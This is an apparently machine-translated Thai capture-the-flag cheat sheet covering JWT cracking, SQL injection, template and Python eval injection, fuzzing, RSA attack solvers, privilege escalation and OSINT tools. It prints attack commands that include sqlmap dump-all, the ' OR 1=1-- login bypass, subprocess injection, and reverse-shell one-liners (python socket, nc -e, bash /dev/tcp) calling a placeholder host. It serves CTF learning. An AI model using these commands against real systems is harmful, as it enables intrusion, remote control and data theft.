- คุณสามารถระบุโทเค็น JWT ได้เนื่องจาก json ที่เข้ารหัส base64 (และโทเค็น jwt) ขึ้นต้นด้วย "ey"
- ไซต์นี้จะถอดรหัสโทเค็นเว็บ JSON
- คุณสามารถถอดรหัสความลับสำหรับโทเค็นเว็บ JSON เพื่อแก้ไขและลงนามโทเค็นของคุณเองได้
-
echo <token> > jwt.txt -
john jwt.txt
- การฉีด SQL
- sqlmap
-
sqlmap --forms --dump-all -u <url> - ทำให้กระบวนการฉีด SQL เป็นแบบอัตโนมัติ
- การฉีด SQL ขั้นพื้นฐาน
- ป้อน
'OR 1=1-- ในแบบฟอร์มเข้าสู่ระบบ - บนเซิร์ฟเวอร์จะประเมินเป็น
SELECT * FROM Users WHERE User = '' OR 1=1--' AND Pass = '' -
1=1 ประเมินค่าเป็นจริง ซึ่งสอดคล้องกับคำสั่ง OR และแบบสอบถามที่เหลือจะใส่ความคิดเห็นโดย --
- PayloadsAllTheThings
- แหล่งข้อมูลที่ยอดเยี่ยมสำหรับการหาประโยชน์จากเว็บพร้อมเพย์โหลดจำนวนมาก
- การฉีดเทมเพลต
- ทีพีแอลแมป
- การแทรกเทมเพลตฝั่งเซิร์ฟเวอร์อัตโนมัติ
- การฉีดจินจา
- การฉีดขวด
- ฟังก์ชัน Python eval()
-
__import__.('subprocess').getoutput('<command>')- อย่าลืมเปลี่ยนวงเล็บหากไม่ได้ผล
-
__import__.('subprocess').getoutput('ls').split('\n')
- การฉีดหลามเพิ่มเติม
- การเขียนสคริปต์ข้ามไซต์
- ผู้ประเมิน CSP
- ผู้ประเมินนโยบายความปลอดภัยของเนื้อหาของ Google
ช่องป้อนข้อมูลแบบคลุมเครือ
- FFUF
- คัดลอกคำขอไปยังช่องป้อนข้อมูลและแทนที่พารามิเตอร์ด้วย "FUZZ":
-
ffuf -request input.req -request-proto http -w /usr/share/seclists/Fuzzing/special-chars.txt -mc all - ใช้
-fs เพื่อกรองขนาด
การเข้ารหัสลับ
ไซเบอร์เชฟ
เครื่องตรวจจับการเข้ารหัส
แฮช
- ฮาชิด
- ยูทิลิตี้บรรทัดคำสั่งเพื่อตรวจจับประเภทแฮช
รหัสทั่วไป
- ซีซาร์ ไซเฟอร์
- Vigenere Cipher
#### Solver using custom table
cipherText = ""
plainText = ""
flagCipherText = ""
tableFile = ""
with open ( cipherText ) as fin :
cipher = fin . readline (). rstrip ()
with open ( plainText ) as fin :
plain = fin . readline (). rstrip ()
with open ( flagCipherText ) as fin :
flag = fin . readline (). rstrip ()
with open ( tableFile ) as fin :
table = [ i . rstrip (). split () for i in fin . readlines ()]
table [ 0 ]. insert ( 0 , "" ) # might have to modify this part.
# just a 2d array with the lookup table
# should still work if the table is slightly off, but the key will be wrong
key = ""
for i , c in enumerate ( plain [ 0 : 100 ]):
col = table [ 0 ]. index ( c )
for row in range ( len ( table )):
if table [ row ][ col ] == cipher [ i ]:
key += table [ row ][ 0 ]
break
print ( key )
dec_flag = ""
for i , c in enumerate ( flag [: - 1 ]):
col = table [ 0 ]. index ( key [ i ])
for row in range ( len ( table )):
if table [ row ][ col ] == flag [ i ]:
dec_flag += table [ row ][ 0 ]
break
print ( dec_flag )- รหัสทดแทน
- เน่า13
- รหัสคีย์ซีซาร์
อาร์เอสเอ
รับข้อมูล RSA ด้วย pycryptodome
from Crypto . PublicKey import RSA
keyName = "example.pem"
with open ( keyName , 'r' ) as f :
key = RSA . import_key ( f . read ())
print ( key )
# You can also get individual parts of the RSA key
# (sometimes not all of these)
print ( key . p )
print ( key . q )
print ( key . n )
print ( key . e )
print ( key . d )
print ( key . u )
# public keys have n and e ทฤษฎีบทเศษเหลือของจีน (p,q,e,c)
def egcd ( a , b ):
if a == 0 :
return ( b , 0 , 1 )
g , y , x = egcd ( b % a , a )
return ( g , x - ( b // a ) * y , y )
def modinv ( a , m ):
g , x , y = egcd ( a , m )
if g != 1 :
raise Exception ( 'No modular inverse' )
return x % m
p =
q =
e =
c =
n = p * q # use factordb command or website to find factors
phi = ( p - 1 ) * ( q - 1 ) # phi is simply the product of (factor_1-1) * ... * (factor_n -1)
d = modinv ( e , phi ) # private key
# print(d)
m = pow ( c , d , n ) # decrypted plaintext message in long integer form
thing = hex ( m )[ 2 :] # ascii without extra stuff at the start (0x)
print ( bytes . fromhex ( thing ). decode ( 'ascii' )) #!/bin/python3
from Crypto . Util . number import *
from factordb . factordb import FactorDB
# ints:
n =
e =
c =
f = FactorDB ( n )
f . connect ()
factors = f . get_factor_list ()
phi = 1
for i in factors :
phi *= ( i - 1 )
d = inverse ( e , phi )
m = pow ( c , d , n )
flag = long_to_bytes ( m ). decode ( 'UTF-8' )
print ( flag )- เว็บไซต์ที่ให้ปัจจัยและโทเทนของออยเลอร์ (phi)
- https://www.alpertron.com.ar/ECM.HTM
การโจมตีของ Coppersmith (c, e)
- มักใช้เมื่อเลขชี้กำลังมีขนาดเล็กมาก (e <= 5)
from Crypto . Util . number import *
def nth_root ( radicand , index ):
lo = 1
hi = radicand
while hi - lo > 1 :
mid = ( lo + hi ) // 2
if mid ** index > radicand :
hi = mid
else :
lo = mid
if lo ** index == radicand :
return lo
elif hi ** index == radicand :
return hi
else :
return - 1
c =
e =
plaintext = long_to_bytes ( nth_root ( c , e ))
print ( plaintext . decode ( "UTF-8" ))การโจมตีของพอลลาร์ด (n,e,c)
- ยึดตามวิธีการแยกตัวประกอบของพอลลาร์ด ซึ่งทำให้ผลคูณของจำนวนเฉพาะแยกตัวประกอบได้ง่ายหากพวกมัน (B) เรียบ
- เป็นกรณีนี้ถ้า
p-1 | B! และ q - 1 มีตัวประกอบ > B
from Crypto . Util . number import *
from math import gcd
n =
c =
e =
def pollard ( n ):
a = 2
b = 2
while True :
a = pow ( a , b , n )
d = gcd ( a - 1 , n )
if 1 < d < n :
return d
b += 1
p = pollard ( n )
q = n // p
phi = 1
for i in [ p , q ]:
phi *= ( i - 1 )
d = inverse ( e , phi )
m = pow ( c , d , n )
flag = long_to_bytes ( m ). decode ( 'UTF-8' )
print ( flag )วีเนอร์โจมตี (n,e,c)
- สำหรับใช้เมื่อ d เล็กเกินไป (หรือ e ใหญ่เกินไป)
- การใช้โมดูลหลามนี้
- การพิสูจน์
from Crypto . Util . number import *
import owiener
n =
e =
c =
d = owiener . attack ( e , n )
m = pow ( c , d , n )
flag = long_to_bytes ( m )
print ( flag )
เบส16, 32, 36, 58, 64, 85, 91, 92
https://github.com/mufeedvh/basecrack
กล่อง
กำลังเชื่อมต่อ
- สช
-
ssh <username>@<ip> -
ssh <username>@<ip> -i <private key file> - เมานต์ SSH ในระบบไฟล์ในเครื่อง:
-
sshfs -p <port> <user>@<ip>: <mount_directory>
- โฮสต์ที่รู้จัก
-
ssh-copy-id -i ~/.ssh/id_rsa.pub <user@host>
- เน็ตแคท
การแจกแจง
การเพิ่มสิทธิพิเศษ
- ลินพีส
-
./linpeas.sh - ค้นหาเวกเตอร์การยกระดับสิทธิ์โดยอัตโนมัติ
- แสดงรายการคำสั่งที่เราเรียกใช้ในฐานะรูทได้
- ค้นหาไฟล์ที่มีสิทธิ์ SUID
-
find / -perm -u=s -type f 2>/dev/null - ไฟล์เหล่านี้ดำเนินการด้วยสิทธิ์ของเจ้าของแทนที่จะให้ผู้ใช้ดำเนินการ
- ค้นหาสิทธิ์สำหรับบริการทั้งหมด
-
accesschk.exe -uwcqv * - ค้นหาบริการที่ไม่อยู่ภายใต้บัญชีระบบหรือผู้ดูแลระบบ
- บริการสืบค้น
-
sc qc <service name> - ใช้งานได้เฉพาะใน cmd.exe
ฟังการย้อนกลับเปลือก
เปลือกกลับ
- revshells.com
- เทมเพลตสำหรับทุกสิ่งที่คุณต้องการโดยพื้นฐาน
-
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' -
nc -e /bin/sh <ip> <port> -
bash -i >& /dev/tcp/<ip>/<port> 0>&1
รับเชลล์แบบโต้ตอบ
ลินุกซ์
- รันคำสั่ง python ต่อไปนี้เพื่อให้โต้ตอบได้บางส่วน:
python -c 'import pty;pty.spawn("/bin/bash");' - ออกจากเซสชัน netcat ด้วย
CTRL+Z และเรียกใช้ stty raw -echo ในเครื่อง - เข้าสู่เซสชันของคุณอีกครั้งด้วยคำสั่ง
fg (และรหัสงานหลังจากนั้นหากจำเป็น) - เปลี่ยนเทอร์มินัลอีมูเลเตอร์ของคุณเป็น xterm โดยการรัน
export TERM=xterm (ซึ่งอาจไม่จำเป็น) - เปลี่ยนเชลล์ของคุณเป็น bash โดยการรัน
export SHELL=bash (อาจไม่จำเป็น) - เสร็จแล้ว! ตอนนี้เชลล์ของคุณควรโต้ตอบได้อย่างสมบูรณ์
หน้าต่าง / ทั่วไป
- ติดตั้ง
rlwrap บนระบบของคุณ - ตอนนี้ ทุกครั้งที่คุณรัน nc Listener ให้ใส่
rlwrap ไว้ข้างหน้า - ตัวอย่างเช่น:
rlwrap nc -lvnp 1337- สิ่งนี้จะให้ปุ่มลูกศรและประวัติคำสั่งแก่คุณ แต่จะไม่มีการเติมข้อความอัตโนมัติ (เท่าที่ฉันสามารถบอกได้) สำหรับระบบ windows และ *nix
โอซินท์
- ปิเมเยส
- การค้นหาแบบย้อนกลับบนอินเทอร์เน็ต
- กรอบงาน OSINT
- เว็บไซต์ที่รวบรวมเครื่องมือ OSINT มากมาย
- จีโอสปาย เอไอ
- LLM การมองเห็นเชิงพื้นที่ที่สามารถประมาณตำแหน่งได้จากรูปภาพ
- สะพานลอยเทอร์โบ
- เว็บไซต์ที่ให้คุณสืบค้น OpenStreetMap API และแสดงผลลัพธ์เป็นภาพ
- ค้นหา Bellingcat OSM
- เว็บไซต์ที่ให้คุณสืบค้น OSM API ได้อย่างง่ายดาย
เบ็ดเตล็ด
